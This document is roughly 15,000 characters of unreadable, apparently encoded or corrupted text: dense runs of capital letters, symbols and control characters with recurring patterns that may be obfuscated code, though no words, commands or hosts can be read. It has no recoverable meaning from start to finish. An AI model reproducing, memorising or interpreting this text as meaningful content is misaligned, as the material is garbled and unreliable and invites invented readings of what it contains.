 FTeO	OG_G^]X^FGK^]COO_G^\ZZFFOOOOOONRRO_FOOK^]OROOOOO_G^\ZZFOOAOOV[^_G^_Y\FGK^]COOOOH@HFTeOOOOOK]YZOOOROOOOOO_G^]YZFG]X_	G^\ZYFFOOOPOOO 
0GWZ XG^\ZXFOOAOOOOY ZXV]	WZGV[^_G^\Z_FFFOUOOOMMTeO	OOGK]YZOORRROOOMMFOOOK]YZOOROO]X_	G^\ZZFOOAO[WV		0VGMMFOOAOOO]X_	G^\ZWFOOOOAOOY ZXV]	WZGWZ XG^\Z_FFTeeOO	OOOGV[^_G^]X^FGK]YZCOOWZ XG^\ZZFFOONRROO_FOOOOOK]YZOOROOOOOO]X_	G^\ZZFOOAOO_G^_Y\FG_G[VXFGV[^_G^\ZVFCOOMMCOK]YZFCOOOOH@HFTeKZ\[W][
OOOROOO
GK(# -.#<4]X_	G^\Y_F2FOOIIOOOOV[^_G^\[YFGK(# -.#<4]X_	G^\Y_F2FOOPOK(# -.#<4WZ XG^\Y_F2OOUOOMMTeOOOOOO	OG]X_	G^\^XFGKZ\[W][
FOOOOSOG_VD_ZFFOeKZ\[W][
OOROOOOOX\VXGV[^_G\VYFCOMMFTeOOeO	OOOG]X_	G^\^XFGKZ\[W][
FOOOSOOG_\D_]XFFOOOeeKZ\[W][
OOROZ _0]
_[0
GFTeOeOOK ^OOOOOROMMTeOOOOOOO	OOG
GK(# -.#<4]X_	G^\Y^F2FOOOIIOOOOO_G^\[YFGK(# -.#<4WZ XG^\Y^F2FOOOOOIIOWZ XG^\^XFGK(# -.#<4V[^_G^\Y^F2FOQOOOOG^Y[1^Z_FFOOeOOOOOOOK ^OROOOK(# -.#<4]X_	G^\Y^F2TeOOOOO

OOOOOOeeOOOOOK ^OROOX\VXG_GX^ZFCOOOOOMMFTeOOOOe	OOOOGWZ XG^\^XFGK ^FOOOQOOOGZYBYFFOOOOeeeO	\_\YGWZ XGX^ZFCOOK ^COOV[^_G^\Y]FFTeeK	WVV[0OOOOROOOOV[^_G^]YZFGV[^_G^\ZYFFOPOGFOOO_G^\Y\FG 
0GH@HFCOOO?'?0:=#0?.;'FOOUOH@HTeO	OGK	WVV[0OOOORRROOOMMFOK	WVV[0OOROH@HTeeeeO	OG]X_	G^^[YFGK	WVV[0COOB^FOOOOONRROOOOOH@HFOOOOOK	WVV[0OOAROH@HTeK\ OROOGeOOOWZ XG^\Y[FORQOY_]XGFCeOOO_G^\YZFOOOORQO \^_	WX_GFCeeeeO]X_	G^\YYFOORQOK	WVV[0CeFTeeOOOOOOKX^_	ZOROOOGeOO_G^\YXFOOOOORQOOOOOOK^]CeOWZ XG^\YWFOOOORQOOOKZ0_
 ^CeeeeOOOOO_G^\YVFOORQOK]YZCeV[^_G^\X_FORQOOW
W\0]G.-<?.;'OAOOOOOWZ XG^\X^FCOOOOG^\B^FFCeeeeOV[^_G^\X]FORQOOOK ^CeOFTeOK	W[[	XOOORO
V[[
0[GWZ XG\YVFCOOOOOOMMFTe	OOOOGNV[^_G^\[YFGK	W[[	XFOOOOV[^_G^\X\FGK	W[[	XFOOORRROO_FOOOOe
TeeK]X^
^	OOROWZ XG\W]FG	\
^Z]\GWZ XG^\X[FGKX^_	ZFCOK	W[[	XFFTeeeeOK0	\YOOOROWZ XG^\XZFOOAO_G\W]FGV[^_G^\XYFGK\ FFOAO_G^\XXFTeOOOOK0	\YOOOOOAROWZ XG^\XWFOAOOOOOOK]X^
^	OAOOO]X_	G^\XVFTeOO	\_\YG_G^\W_FCOOK0	\YCOOOWZ XG^\Y]FFTeOOOOOOO	\_\YG]X_	G^\W^FCOO]X_	G^^Z^FGGFOKZ\[W][
OAOGFOK ^OOOOOAOOOK	W[[	XOOOOAOHHOOAOOO_G^]X\FG[WV		0VGMMFFFCOOOOWZ XG^\Y]FFTeK_^OOROO]X_	G^]YZFGWZ XG^\W]FFOOPOO 
0G_G^\ZXFOOOOOOAOOOY ZXV]	WZG_GX^VFFFOOOOUOOMMTe	OOGK_^OORRROOOOMMFOK_^OOOROV[^_G^\ZZFOOOAO[WV		0VGMMFOAOWZ XG^\ZWFOOAOOOOY ZXV]	WZG_GX^VFFTeO	OOOG_G^\W\FGK_^CO]X_	G^\W[FFOONRRO_FOK_^OOROOWZ XG^\W[FOOOAOOOOOO]X_	G^_Y\FGWZ XG^\WZFG_G^\ZVFCOOOOMMCOOK_^FCOOOH@HFTeOOOOO	\_\YGWZ XG^\WYFCOOK_^COOOOV[^_G^\WXFFTeO	OG]X_	G^\X\FGKZ\[W][
FOOSOOGV^DVFFOOOeO
TeOOeOOOO	\_\YGWZ XG^\WWFCOOKZ\[W][
COOOOV[^_G^\WXFFTeOO	OOOOOGN	0[[X	\
GFFO
TeOOKY_ 

OOOROOOX[W	[X][		GFTeOO	OOOOOOGN/V[^_G^\^\FGKY_ 

FFOOO^GKY_ 

COOOOG]X^D]]]FCOO
FTeOOOOO	OOOGN/]X_	G^\WVFGKY_ 

FOOOOOON/]X_	G^\^[FGKY_ 

FFOO
TeOOOOKZ
	VWOOROKY_ 

OOAOOOH@HOOAOOOKZ_	Y
OOOAOOWZ XG^^XXFTeOOK^]OOROO\_X^0GeOOOOOOO]X_	G^\V_FCeGH00<#:(00HCOOOOOOH005&?0!."*00HCOH008=&;*0$*600HCOH009*=<& !00HFCeOOOOOOGKZ0_
 ^COK 
 COOOOW
W\0]G.-<?.;'OOOOOAOV[^_G^\V^FCOOG^_D]FFCOOOOOV	_00YGFFeOFTeOOOO	OGNK^]FOeO	OGGFOO
0  GV[^_GWVZFCO_FOOQO_FOOOZ[^YZZGWZ XGX^VFCOOOOO_G^\V]FFTeeeOOOO
TeOOOOOeO	OOGN/]X_	G^]\YFGKZ
	VWFOOOO_G^^Z^FGXX[WZGGFOOO/WZ XG^\V\FGKZ
	VWFFFOONRROOWZ XG^\V[FGK^]FFOOeOOOOOOO ^
XXGKZ
	VWCOOK^]CO_G^\VZFFTeee[ZX_\]VGKZ
	VWCO^X0\Z	]_GFFTeYXYW][GKZ
	VWCOOOOG\\XDW\FFTeOOOY
XGKZ
	VWFTeeOOOOOG; 
OK]WFOOOeeZ[^YZZGV[^_G^\VYFCOOK]WFTeeeOOOOOOOOG*
 OOOK]WFOOeOeOOOOOeOO	 O\_X^0GK
COKX\[WXCOK^YFeOOeOOK	ZZ
]\OROTeee	OOGK	ZZ
]\OOORRROOOOFOOOeOOOOK	ZZ
]\OOROWZ XG^]YZFGV[^_G^\VXFFOOOOPOOOOO
0
G	[\Y
GFFOOOOOOUOOOO	
TeOOOO	OOOOOOGNOO_G^\_ZFGK	ZZ
]\FFOOeOK	ZZ
]\OOORO
_[
][	G_G^\VWFCO	
FTeeO	OOGNOOWZ XG^\_ZFGK	ZZ
]\FFOOOeK	ZZ
]\OOOOOOROOGFTeOOeOOOeOK ZW^VW[ZOROMMTeeOOO	OOOOOG
GK	ZZ
]\4K
2FOOOOOIIOOOOWZ XG^\VVFGK	ZZ
]\4K
2FFOOeK ZW^VW[ZOOROOK	ZZ
]\4K
2TeeOO	OOGWZ XG^\X\FGK ZW^VW[ZFOOOSOOOOG_ZD_]FFOeOK ZW^VW[ZOOROOX\VXGK
COMMFTeeeOeeeO	OOOOG]X_	G^[__FGK ZW^VW[ZFOOSOG_^WD_^FFOOO
OOOO	
TeOOOK Y]0ZOOROOOOOV[^_G\W[FGK ZW^VW[ZCOO
FTeOOOO	OOOOOGNK Y]0ZOOOOOOOV[^_G^[__FGK Y]0ZFOOOOOOSOG_^^D_]^FFO
OOOOOO	
TeOOOOOO	OOOG_G^\W\FGK Y]0ZCO_GV\ZFFOOOOORRRO	
FOO
OOO	
TeOOOK Y]0ZOOOROOOOWZ XG^[_^FGKX\[WXCOK^YCOOK Y]0ZFTeee	OOOOOG
	
G_G][XFFFOOOeOOOOeeeO/ 
0
0GK Y]0ZCO; $*!0?.=<*FTeOOOOOOOG; 
OK]WFOeO
OO	
TeOOOOOOG*
 OOK]WFOOOOeeee
OOOOO	
TeOeOOOOO

	OOOGN
[X
 Z]Y
GK Y]0ZFFOe
OO	
TeeOO
OK Y]0ZTeOeOOOO	 OOOOW	[	^YW[GFeOOOOeOOeeOOO	OOOOGN]X_	G^]YZFG]X_	G^\VXFFFO
TeO	OOGN
	
G]X_	GVY\FFFOOO
TeOOOOK
0
]\V
OOOOROO
_		
GFTeOOOOOOO	OOOOOGNK
0
]\V
FOOeOO 
VX 
]VGFTeeeOOOOK
0
]\V
OROOO
_		
GFTeeOeOK0V0OROX\VXGWZ XG\YVFCOMMFTeeeO	OG_G^[_]FGK0V0FOOORRROO_FOK0V0OOOROWZ XG^[_\FGM3__MCOOG^SS[FFTeeOOKW
 ]\OOOROOG
GK(# -.#<4_G^\Y_F2FOOOOIIOO]X_	G^\VVFGK(# -.#<4V[^_G^\Y_F2FOIIO]X_	G^[_]FGK(# -.#<4WZ XG^[_[F2FOQROG[DVYFFOOPOK(# -.#<4]X_	G^[_[F2OOOOOUOX\VXGV[^_G^\WWFCOOMMFTeOO	OGWZ XG^[_ZFGKW
 ]\FOOSOOGY_D[_FFOOKW
 ]\OOROZ _0]
_[0
GFTeK 	 VVOOROOG
GK(# -.#<4WZ XG^\Y^F2FOOIIOO_G^\VVFGK(# -.#<4V[^_G^[_YF2FOOOIIOWZ XG^[_ZFGK(# -.#<4_G^[_XF2FOOOQOOG_][D_
FFOOOOOPOOK(# -.#<4V[^_G^[_WF2OOOUOOX\VXGV[^_GX^ZFCOOOOMMFTeOOK\W\_YOOOOOROV[^_G^[_VFGKW
 ]\OOOOOAOK 	 VVOOAOOOOK0V0OOAOOOOOHHOOAOV[^_G^]X\FG[WV		0VGMMFFFTeO	OOGX\VXG_G^\W^FCOOOMMFOONRROK\W\_YFOOOeOOOOOO 
VX 
]VGFTeeeeOOOOOOOK
0
]\V
OROO
_		
GFTeOeOOOO	OGN	0[[X	\
GFFOOOO
TeOK	Z V^OOORO\\^WVV_	GFTeOOOOOK0W YOOROO/_G^[^_FGK	Z V^OOOAOO_GZZ\FFTeOOOO	OOGK0W YOOIIOOK
0
]\V
OIIO
0
GV[^_GX[[FFFOO
TeOO
V	0

[GFTeeeeOOOOOOO\X[[GFTeXW^	GFTeOKW^_OOROO/_G^[^^FGK	Z V^OOAOOWZ XGZZ\FFTeOOOOOK
0
]\V
OOORO
_		
GFTeO	OOGKW^_OOOIIOOK
0
]\V
FOOOOOeOOO
0
GV[^_GX[[FCO^COOG[\_B^\_FFTeeeOOOOOOOG; 
OOOK]WFOOOeZ[^YZZGV[^_G^[^]FCOOK]WFTeOOOOOG*
 OOOOK]WFOOOeOeOOOOeOOO	 OO\X[[GFeOOOOeOOeO	OOOGN
	
G]X_	G^[^\FFFOO
TeOO	OOOOOOG_GZ]YFGFORRROWZ XG^[^[FFOOOO
TeOOOOK	W0 ORO]X_	G^[^ZFGV[^_G^[^YFFOOOPOO/_G^[^XFGWZ XGZYVFFOOOUOOO	
TeeO	OOOOOGNK	W0 OOOOK	W0 OOOOORRROOOOMMOOOOK	W0 OOOORRROOOWZ XGZX_FFOOOK	W0 OOROOWZ XGZX^FTeKZ_	Y
OOOOOROOOW
W\0]G.-<?.;'OOAOO_G^[^WFCOOG_[D_[FFTeOOOOOK	Z V^OOOOORO\\^WVV_	GFTeeOOOKY_ 

OOOOOOROOX[W	[X][		GFTeOK[]\XOOROW
W\0]G.-<?.;'OOOAOOV[^_G^^_YFCOOOOOOG^_B]FFOOOAO_G^^XXFTeOOOOOOOOK	Z^[OOROOK	Z V^OAOOH@HOAOOOOK[]\XTeOOK 
OOROK	Z V^OOAOO_G^[^VFOOAOOOOK[]\XTeKZ0_
 ^OOOORO]X_	G^\[XFG []]^
 XGFCO]X_	G^^XXFFTeOOK 
 OOOOROOOOW
W\0]G.-<?.;'OOOAO_G^[]_FCOOOG]DYFFOAOOO]X_	G^\[VFTeK0Y 	OROGFOOO
0  G]X_	G^[]^FCO_FTeO	OOOGK0Y 	OIIOOV[^_G^[]]FGFOOOOBOK0Y 	OOOSOOOG^Y]_YWBXZYYWFFOOOeO ]V
0
] GK	Z^[COOFTeeeOOO ]V
0
] GK 
COOFTeOOOOO	 
OOGG_GYX[FG.-<?.;'COWZ XG^]WZFFCOO_GYX[FGK	Z V^COO_G^]WZFFFOOOOOOOOOK\_ZV	_[FOeOKY0X\\OOOROOOOOK\_ZV	_[OOOOAOOH@HOOAOOOK	W0 TeOOOKZW_\OROO/_G^\]_FGKY0X\\FOOOPOOO/V[^_G^\V\FGKY0X\\FOOOOUOMMTeOOO	OOGWZ XG^\VVFGKZW_\FOOIIOOOWZ XG^\W\FGKZW_\COOOOK[]\XFOOOOOONRROOOO	
FOeOOOOK W_0^VOROOWZ XG^\WZFG]X_	G^[]\FOOOAOOO_GVX^FGK[]\XCOOH@HFOAOOV[^_G^[][FCOOM3MCOOOOOKZW_\FTeOO	OOOOG]X_	G^\VVFGK W_0^VFOIIOOOOOOK W_0^VOOOOONRROKZW_\FOOO]ZVGKY0X\\COK W_0^VFTeeeeOOOeOeOOOO
TeOOOeOOK[^XOROOO\_X^0GeeOO_G^[]ZFCeGH00<#:(00HCOH005&?0!."*00HCOH00&!<;0'.<'00HCOOH00+.;.0+&=00HCOOOH00, !;*!;0+&=0-Y[00HCOH009*=<& !00HFCeOGKZ0_
 ^COOK 
 COOKZ_	Y
COWZ XG^[]YFOOAOOW
W\0]G.-<?.;'OOOOOOAO]X_	G^[]XFCOOOOOG^DXFFCOOOOO]X_	G\W]FG
	
GWZ XG^[]WFFOPOOO8?0, !;*!;0+&=OOUOOOO\\^WVV_	GFFCOOOV	_00YGFFeOFTeO	OOOOGNK[^XFOOOeOO	OOOOOOGGFO
0  GWZ XGWVZFCOOOOO_FOOQOOOOOO_FOZ[^YZZG]X_	G^[]VFCOOOO]X_	G^[\_FFTeO
TeeOO	OOGN/_G^\WVFGKY_ 

FFOOOO^GKY_ 

COOOOG_^\D_\FCO
FTeOKX	0YXYORO	
TeOOOOOO	OOGN/]X_	G^[^^FGK 
FOOOO_G^[_VFGXX[WZGGFOOOO/]X_	G^\V\FGK 
FFFOOOONRROO]X_	G^[_VFGK[^XFFOOeOOO ^
XXGK 
COOOK[^XCOO]X_	G^[\^FFTeOO[ZX_\]VGK 
COO^X0\Z	]_GFFTeeeOOOOYXYW][GK 
COG\X_DZ_FFTeeeeY
XGK 
FTeOOOOOKX	0YXYOORO
TeOOOOOOeOK	
\
OROOOMMTeOO	 
OGG]X_	GYX[FG.-<?.;'COOO]X_	G^]WZFFCOO_GYX[FGK	Z V^COOOV[^_G^]WZFFFOOOOOK^^FOOeOK \]^	X	YOROOOOO/]X_	G^[^^FGK^^OOOAOOOH@HOOAOOOK	W0 FOPO/]X_	G^[\]FGK^^OOOAOH@HOAOK	W0 FOOUOOOMMTeeeO	OOOOGWZ XG^[\\FGK \]^	X	YFOOIIOO]X_	G^]XVFGV[^_G^[\[FCOK \]^	X	YCOOK	
	
	
FFOOOeOOOOOOOK_YX
OOOROOO]X_	GV_VFGK	
	
	
4]2FTeOOOO	OOOOOGK_YX
OOOONRROOOOMMOOIIOO GK_YX
COWZ XG^[\ZFFOOORRRO	
OIIOOOON  0^WXY	_0WGK_YX
FFOOOOeOOOOOOOOK	
\
OOROOOK_YX
TeeeOOOO
TeOOeOeOOOeeeeOeOOOOOOOKWZYW]ORO_GVVXFOAOGK	
\
OOOOOONRROOMMOOOPOOO]X_	G^[\YFOOAO_G^[\XFGK	
\
COO
FOOOOAOOOOOO]X_	G^[\WFOOOOOUOOOOMMFeOOAO]X_	G^[\VFOOAOOK[]\XOOAOWZ XG^[[_FeAO_G^[[^FeOOOOAOOOO]X_	G^[[]FeOOAOOOOWZ XG^[[\FOOOOAOO_G^[[[FGK[^XFOOAOOWZ XG^[[ZFTeOOOOOOO	OOOOGN/_G^[^^FGK	Z^[FOOOOOOOOWZ XG^[[[FGXX[WZGGFOOOO/]X_	G^[[YFGK	Z^[FFFOOOOONRROO]X_	G^[[[FGKWZYW]FFOOOOeOOOOO ^
XXGK	Z^[COOOKWZYW]COOOV[^_G^[[XFFTeOOOO[ZX_\]VGK	Z^[COOOO^X0\Z	]_GFFTeOYXYW][GK	Z^[COOOOOOGY^\B^V\FFTeeY
XGK	Z^[FTeOOKX	0YXYOOOORO
TeOOOOeOK	YXV0OOROO
TeOOOOOOKZ[V\]OOOOOROXX[WZGGFOO/WZ XG^[[YFGK 
FFTe	OGN/WZ XG^\]_FGK 
FOOKZ[V\]ONRROOOK[^XFOeOOZ[^YZZG]X_	G^[[WFCOOWZ XG^]]VFFTeeee ]V
0
] GK 
COFTeOOOOK	YXV0OROOO	
TeeOOOOOOKZ[V\]OOOOROOOXX[WZGGFOOOO/WZ XG^[[YFGK	Z^[FFTeOOOO	OOOGN/WZ XG^[[VFGK	Z^[FOOOOOOKZ[V\]OONRROOKWZYW]FOOeZ[^YZZG]X_	G^[[WFCOWZ XG^]]VFFTeOOOOOOO ]V
0
] GK	Z^[COOFTeK	YXV0OORO	
TeOe
GKZ[V\]FTeOOOO	OOOGNK	YXV0FOOeOOOOOKV XY^VOOROOGFOO
0  GV[^_G^[Z_FCOOOO_FOODO^Te
0  GV[^_G^[Z^FCOOOOKV XY^VCOO_G^[Z]FFTe	OGKV XY^VOQROG^XW1^XXFFOOe
0  GV[^_G^[]^FCOOWZ XG^[]]FGFCOWZ XG^[Z]FFTeOOOZ[^YZZGWZ XG^[[WFCOOO_G^[Z\FFTeOOOeOOOO
TeeOeOOK	_OOROG]X_	GYX[FG.-<?.;'COOOOWZ XG^[Z[FFCOOOWZ XG^[ZZFGK	Z V^COV[^_G^[Z[FFFTeOK0]W[	
OOOROOOOOGFTe	 
OOGK	_OOOOOOOOK_Z00[FOOeOOKV
^W0	_OROOOOOK_Z00[OAOOH@HOOOOAOK	W0 TeOOKV\[VV0OOOROO/V[^_G^[ZYFGKV
^W0	_FOPOOO/V[^_GZYYFGKV
^W0	_FOOUOOOOO_TeOK
OORO/_G^[^^FGKV
^W0	_FOOOPOO/WZ XG^[[YFGKV
^W0	_FOUOOMMTeO	OGN]X_	G^[\\FGK
FFOOeeZ[^YZZG_G^[[WFCOOOOWZ XG^[ZXFFTe
TeOe	OOGWZ XG^\W\FGK
COOK[]\XFOORRROO	
FOOOe	OOOGK
OIIOOV[^_G^[ZWFG_G^[ZZFGK
FCOB^FOONRROOM3MFOOOOK
OAROOOOOM3MTeeeeOOOKV0 _OOOOROOOOWZ XG^[ZVFOOAOOOOOOK	Z^[OOAOOOHMHOOAOO?'?0* #TeO	OOG]ZVGKV
^W0	_COOK
OOAOOKV0 _FFOOOOOOeO	OOGKV\[VV0FO[ZX_\]VGKV
^W0	_COOOOKV\[VV0FTeeeeO

OO[ZX_\]VGKV
^W0	_COOOOO]X_	G^[]]FGFFTeOOOYXYW][GKV
^W0	_COOOOOG_^Z
D_[YFFTeOO
0  G_G^[Y_FCOOOOO_G^[]]FGFCOOOOV[^_G^[Y^FFTeOK0]W[	
42OOOOROGKV
^W0	_COOOOOK
FTe	OOGGFO
0  G]X_	G^[Y]FCOOO_FOOOOQOOO_FOOOO
0  GV[^_G^[Y]FCOOO_CO_G^[Y^FFTeeeOOOO	OOGGFO
0  GV[^_G^[]^FCO_FOOOQO_FO/


0  G]X_	G^[]^FFTeOOOO

OOeOOK[Z0[ OOOOROOGFOOOO
0  G]X_	G^[Y]FCOOO_FOODOOO^TeeO
0  G]X_	G^[Y]FCOOK[Z0[ COOOWZ XG^[Y^FFTeO	OGK[Z0[ OQROOOOOOG^D]FFOOOOeOOO
0  G]X_	G^[]^FCOOO]X_	G^[]]FGFCOOOO]X_	G^[Y^FFTeOOOOOZ[^YZZGV[^_G^[Y\FCOOOOWZ XG^[Z\FFTeOOO
TeOOOOOeOOeeeeOOOOOOeOeeO	OOOGKX	0YXYOIIOOONZ[\	XVVZ]0WGFFOOeOOOOOeOOOOOZ[^YZZG]X_	G^[Y\FCOOOV[^_G^[Y[FFTeOO ]V
0
] GK	Z^[COOFTeO ]V
0
] GK 
COOOOOFTeOOOOO	 
OOGK0]W[	
OOOOOOK\0	V _FOO]ZVGK\0	V _4_2COOOK\0	V _4^2FTeOOOOKV XY^VOOROGFOOOOO
0  GWZ XG^[Y]FCO_FOOOOODOO^TeOOOOOO
0  GV[^_G^[Y]FCOOOKV XY^VCOOV[^_G^[YZFFTe	OOGKV XY^VOOOOQROOOGZB]FFOOOeO
0  G]X_	G^[]^FCOWZ XG^[]]FGFCOWZ XG^[YYFFTeOOOOZ[^YZZGV[^_G^[Y\FCOOO]X_	G^[Z\FFTeOOeeOOOOOOG; 
OOOK]WFOOOeOZ[^YZZG]X_	G^[Y\FCOOK]WFTeeOOOOOOOOOOOOOG*
 OOOOK]WFOOOeeOeO	 O]\^W\0_Z\
GFeeOOOOOOOeOOOeeOOO	OOOOGN_G^[^ZFGV[^_G^]YYFFFOOO
TeeeeOOO	OOOOG
	
G_GZW[FFOOOOOO
	
G_G^[YXFFFOOeOOOOO	OGGFOOO/
0  G]X_	G^[Y_FCO_FFOeeeeOOO/


0  G_G^[YWFFTeOOO/
0  GV[^_G^[Y]FCOOO_COOOOO]X_	G^[YYFFTeeOeeeOOOOO
TeOOeOOK[	0XYOOOOROGFO/
0  GWZ XG^[YVFCOO_FTee	OOOOGNK[	0XYFOOOO
TeOOK 

0VOROO]X_	G^[^ZFGV[^_G^[^XFFOOOPOOGFO/]X_	G^[X_FGWZ XG^[X^FFOUO_TeO	OOOGK 

0VOOOSROO_FOOK 

0VOOROOOG]\^DYVFTeeeO	OG]X_	G^[]]FGFOOOBOOK[	0XYOSOOOOK 

0VOOODOG_^D_^FFOOOOO
TeeeeOOOOOOOO/
0  G]X_	G^[YVFCOOOV[^_G^[]]FGFCOOO]X_	G^[YYFFTeOOOOK^\V__OOOROOOGFOO/
0  GV[^_G^[Y]FCOOO_FOODOOO^TeO/
0  G_G^[Y]FCOK^\V__COOOOV[^_G^[YYFFTeO	OOOGK^\V__OOOQROOOG]D^FFOOeOOOO/


0  GV[^_G^[YVFFTeO/
0  G]X_	G^[]^FCOOOWZ XG^[X]FGFCOOOWZ XG^[X\FFTeOOOOOOOZ[^YZZG_G^[X[FCOOOOV[^_G^[XZFFTeeeOOOOOOeOOOG; 
OOOOOK]WFOOOeeeOOOOOOOOOOG*
 OOK]WFOOOOOeOeOe	 OOOOOO_
	]\]GFeeOeOOOOOOOeOO	OGN
	
G_G^[^\FFFOOOO
TeO	OOOOGWZ XG^[XYFGFOORRRO]X_	G^[^[FFOO
TeOOOOO	OOOOGN[\0WV0	GFFO
TeOOOO	OOOGN	0[[X	\
GFFO
TeOKY_ 

OOOOROOX[W	[X][		GFTeOOOOOK0	X]OOOROOOKY_ 

OOOOOAOOOOOO_G^[XXFTeOOOK]OOOROV[^_G^[XWFOOAOOOOM3MOOAOOOOOOWZ XG^[XVFOOAOOOOM3MeOOAOV[^_G^[W_FOOOOAOOOM3MOAOOWZ XG^[W^FOOOAOM3MOOOOAOOWZ XG^[W]FOOAOOM3MeOAOOV[^_G^[W\FOAOOOM3MOOAOOOOWZ XG^[W[FOOOOOOAOOOM3MOOOAOOOOWZ XG^[WZFOOOAOOOOOOM3MeOOOOOOOAOOOWZ XG^[WYFOOOOAOM3MTeeeeOOOK
OOOOOROOO/]X_	G^[^^FGK0	X]FOOOOOPOOO/V[^_G^[WXFGK0	X]FOOUOOOOOMMTeOOO	OOOOGN_G^[\\FGK
FFOeeOZ[^YZZGV[^_G^[WWFCOO]X_	G^[ZXFFTeOOOO
TeeeeOOOOOOOOeeee	OOGV[^_G^\W\FGK
COOOO_G^[XWFFORRROOO	
FOOeeeOOOOO]ZVGK0	X]COOK
OOOOOAOOK]FTeOO[ZX_\]VGK0	X]COOOOOO^X0\Z	]_GFFTeOOOOOOOOYXYW][GK0	X]COOOOG[]VBVFFTeOeOK 	X_OOOOOROOOV X[GFTeOOO	OGNK 	X_OOOOO_G^[_ZFGK 	X_FOSOOOOGZ^[B^[FFOO
TeKZ0_
 ^ORO_G^\[XFG []]^
 XGFCOOV[^_G^^XXFFTeK	Z V^OOOORO\\^WVV_	GFTeOOK[]\XOOOOOROOW
W\0]G.-<?.;'OOAOO_G^^_XFCOOGXD^FFOOAOOO]X_	G^^XXFTeOOOKZ]OOOOOROGeeeOK	Z V^OOOAOOOH@HOOOOOAOK[]\XCeOOOKY_ 

OOAOOOOH@HOAOK[]\XCeeFTeOOOK]]]WOROOOOK	Z V^OOAOOH@HOAOOOOOK[]\XTeO	 
OGKZ]OOOOK
0_\0[FOOeK_Z00[OOOOOOROOO]X_	G^\]^FGK
0_\0[FTeO	OOG/WZ XG^[WVFGK_Z00[FOOOOOO^GK_Z00[COOG]]ZD]YWFCOO
FFOOOeOOOOOK]]]WOOOOROOK
0_\0[Te
TeOOeOeOOK ZW^VW[ZOOROOO\Y]__	
WGFTeeeeOK[^XOROO\_X^0Geeee]X_	GX\\FCeeeGH00<#:(00HCOH00?#:(&!0-.<*Y[00HCOH009*=<& !00HFCeGKZ0_
 ^COK ZW^VW[ZCOOOOOV	_00YGFFeeeOOOOFTeeee	OOGNK[^XFOeOOO	OOGGFO
0  G_GWVZFCO_FOOOOOOQOOOO_FOOOZ[^YZZG]X_	G^[V_FCOOOO]X_	G^[V^FFTe
TeeeeOOOOOOOK	
\
OOROMMTeOOK[W\OOOROG.-<?.;'OOOAOV[^_GZXYFCOOOK	Z V^OAOOV[^_G^[XXFFTeOK[V]_ VOROOOO]X_	G^[V]FGWZ XG^[X_FFOOOOOPOO/WZ XG^[X_FG]X_	GZYVFFOOUOO	
TeO	OOG]X_	G^[\\FGK[V]_ VFOOOIIOK[V]_ VONRROOMMFOOOOeK[W\42OORO]X_	G^[V\FG.-<?.;'CO]X_	G^[Z[FFOOAOOOOOOH@HOOAOOK[V]_ VTeOK[W\42OROOOOOK	Z V^OOOAOOOH@HOOOOAOOOK[V]_ VTeee	 
OOOOGK[W\OOOOOOOKVV	FOeOK[WXVOOOROO/V[^_G^[ZYFGKVV	FOPOO/]X_	G^[WXFGKVV	FOOUOOOOMMTeeeO	OOOGNV[^_G^[\\FGK[WXVFOOOK[WXVOOOORRROMMFOOO 
TeOOOO	OGWZ XG^]XVFG_G^[V[FCOOK[WXVCOOK	
	
	
FFOOeOK_YX
OOOOROOOV[^_G^[VZFGK	
	
	
4]2FTe	OGK_YX
OOOONRROMMOOIIOOO GK_YX
COOOOWZ XG^[\ZFFOORRROOO	
OIION  0^WXY	_0WGK_YX
FFOOeOK	
\
OOOROOOK_YX
Te
TeOOeOOeOOOOeOO	OOGK	
\
OONRROMMFOOOOeK[^XOROOOO_G^\WZFGV[^_G^[VYFCOOOOO]X_	G^[VXFOOAOV[^_G^[\XFGK	
\
COOO
FOOOOOAOOO_G^[VWFCOOOOOOK[^XCOO^FTeeeeOOOO	OOGN_G^[VVFGK[^XFFOOOOeOOZ[^YZZGWZ XG^[V_FCOOO]X_	G^Z__FFTeeeO
TeOOOOOeeeOOOeOKZ^]]ZOOROOO
TeOK^	0[ZX\\OOROOTeOOO	OG/_G^[^^FGK]]]WFFOOOOOeK^	0[ZX\\OOOROOXX[WZGGFOOOOO/WZ XG^[WXFGK]]]WFFTeeeO	OOOOOG]X_	G^[VVFGK^	0[ZX\\FOOIIOOOOOK^	0[ZX\\OOOOOORRROOOOK[^XFOOOOOeeeeOKZ^]]ZOOROOOOO	
TeOeeeOeOOOK0OOROOGeOOOOOO.-<?.;'OOAOO]X_	GZXYFCeOOOOOOG
	
GWZ XG^[]WFFOOPOO8?0, !;*!;0+&=OOUOOOK	Z V^FOAOOOO]X_	G^[XXFCeeOFTeOKOOROOOOOOGFO
0  G]X_	G^Z_^FCOO_FTeOO	OOGKOOOOOOIIOOOWZ XG^Z_]FGFOOOBOOKOOSOG_ZWD_	WZFFOeO ]V
0
] GK]]]WCOFTeOO	 
OOOOOGK0OOOOOOOOOOOK _[\YXFOOOOeOOOOKZ_\0\OOOOROO/_G^Z_\FGK _[\YXFOPO/]X_	G^[WXFGK _[\YXFOOUOOOOOMMTeO	OOOG_G^[VVFGKZ_\0\FOOIIOOWZ XG^Z_[FGKZ_\0\COOOK[]\XFONRROO	
FOeeeOOOOKY	V 0	0
OROOO		V 
[WWY[GKZ_\0\COOK[]\XFTeOO	OG]X_	G^[VVFGKY	V 0	0
FOOOIIOKY	V 0	0
OOONRROOOOOKZ_\0\FOOOOO]ZVGK _[\YXCOOOOKY	V 0	0
FTeeeeOOOeOOOeee
TeeOO	OGKZ^]]ZFOOOOeOO ^
XXGK]]]WCOK[^XCOOO]X_	G^Z_ZFFTeeeeOOOOOOO[ZX_\]VGK]]]WCOOOO^X0\Z	]_GFFTeeeeYXYW][GK]]]WCOG\XVD[^FFTeY
XGK]]]WFTeeeOOOOeOOOOKZ[V\]OROOOO/WZ XG^Z_YFGK]]]WFOPOXX[WZGGFOO/V[^_G^[WXFGK]]]WFFOUOMMTeeeOOOO	OGKZ[V\]OONRROOOK[^XFOOeeOOOeOOOOOZ[^YZZGV[^_G^Z_XFCOV[^_G^]]VFFTeO ]V
0
] GK]]]WCOKZ^]]ZOPOOOK^	0[ZX\\OOOOUOOOFTeK[^YYOROGFO
0  G_G^Z_WFCOOO_FODO^TeO
0  GWZ XG^Z_WFCOK[^YYCOOO_G^[X\FFTeOO	OGK[^YYOQROOOOG^D]FFOOOeOOO
0  G_G^Z_^FCOV[^_G^Z_]FGFCOOOOO]X_	G^[X\FFTeOZ[^YZZG_G^Z_VFCOO_G^[Z\FFTeOOOOeOOO
Tee
GKZ[V\]FTeOK		^[0^VOOROOOO]X_	G^Z^_FTeOOK0]W[	
